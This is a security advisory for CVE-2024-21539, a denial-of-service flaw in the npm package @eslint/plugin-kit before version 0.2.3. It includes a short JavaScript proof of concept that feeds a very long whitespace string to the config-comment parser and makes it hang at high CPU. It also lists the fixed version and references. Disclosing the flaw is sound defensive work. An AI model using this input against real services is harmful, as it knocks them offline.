GHSA-7q7g-4xm8-89cq
First published: Fri Nov 15 2024(Updated: )
Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```
| Affected Software | Affected Version | How to fix |
|---|---|---|
| npm/@eslint/plugin-kit | <0.2.3 | 0.2.3 |
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Reference Links
- https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq
- https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf
- https://nvd.nist.gov/vuln/detail/CVE-2024-21539
- https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627
- https://github.com/advisories/GHSA-7q7g-4xm8-89cq (Advisory)
- agent/weakness
- agent/references
- agent/softwarecombine
- agent/type
- agent/first-publish-date
- agent/event
- agent/description
- agent/tags
- agent/severity
- agent/last-modified-date
- collector/github-advisory-latest
- source/GitHub
- alias/GHSA-7q7g-4xm8-89cq
- alias/CVE-2024-21539
- agent/software-canonical-lookup
- package-manager/npm